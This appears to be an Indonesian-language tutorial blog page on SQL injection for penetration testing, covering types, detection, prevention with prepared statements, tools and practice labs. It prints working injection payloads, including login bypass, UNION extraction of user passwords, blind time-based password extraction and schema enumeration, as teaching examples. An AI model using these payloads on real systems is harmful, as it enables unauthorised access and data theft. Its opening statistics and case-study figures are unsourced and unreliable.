🔓 Panduan Lengkap SQL Injection untuk Pengujian Keamanan
📊 Data Penting: Menurut OWASP Top 10 2023, SQL Injection masih menjadi 3 kerentanan web paling kritis dengan tingkat keberhasilan serangan mencapai 32%.
📌 Daftar Isi
🔍 Apa itu SQL Injection?
SQL Injection adalah teknik penyalahgunaan kerentanan aplikasi web dengan menyisipkan perintah SQL melalui input pengguna untuk:
- Mengakses database tanpa otorisasi
- Membaca/mengubah/hapus data sensitif
- Eskalasi hak akses
📌 Contoh Dasar:
SELECT * FROM users WHERE username = 'admin' AND password = 'password' OR '1'='1'
Input: password' OR '1'='1
akan membuat kondisi selalu benar
📌 Jenis-Jenis SQL Injection
Jenis | Karakteristik | Tingkat Kesulitan |
---|---|---|
Classic SQLi | Memanipulasi query dengan tanda kutip | Mudah |
Blind SQLi | Tidak ada output langsung (berdasarkan respon) | Menengah |
Time-Based | Menggunakan delay sebagai indikator | Advanced |
Out-of-Band | Menggunakan channel eksternal (DNS, HTTP) | Expert |
Second-Order | Eksploitasi tersimpan di database | Sangat Sulit |
🔎 Cara Mendeteksi SQL Injection
Metode Manual
- Test dengan karakter khusus:
' " ; -- /*
- Input payload dasar:
' OR 1=1--
- Observasi:
- Error message
- Perubahan konten
- Waktu respon
Error-Based Detection
Contoh error yang mengindikasikan SQLi:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/login.php on line 12
💉 Teknik Eksploitasi SQLi
1. Union-Based Attack
' UNION SELECT username, password FROM users--
2. Boolean-Based Blind
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
3. Time-Based Blind
'; IF (SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a' WAITFOR DELAY '0:0:5'--
🛡️ Pencegahan SQL Injection
Best Practices
- Prepared Statements:
// PHP dengan PDO $stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email'); $stmt->execute(['email' => $email]);
- Input validation dengan whitelist
- Principle of Least Privilege untuk database user
- Web Application Firewall (WAF)
🛠️ Tools Pentesting SQLi
Tool | Fungsi | Platform |
---|---|---|
SQLmap | Automatisasi deteksi & eksploitasi | Kali Linux |
Burp Suite | Intercept & manipulasi request | Cross-platform |
OWASP ZAP | Scan kerentanan otomatis | Cross-platform |
NoSQLMap | Untuk database NoSQL | Python |
📈 Studi Kasus Nyata
Kerentanan di Sistem Login
Langkah Eksploitasi:
- Input:
admin'--
di field username - Bypass authentication
- Ekstrak struktur database dengan
' UNION SELECT 1,table_name FROM information_schema.tables--
- Dump data pengguna
Hasil:
- 50.000+ data pengguna terekspos
- Token akses admin ditemukan
- Kerugian finansial: ~$250.000
🚀 Mulai Belajar Pentesting SQLi
Praktikkan di lab aman seperti DVWA atau WebGoat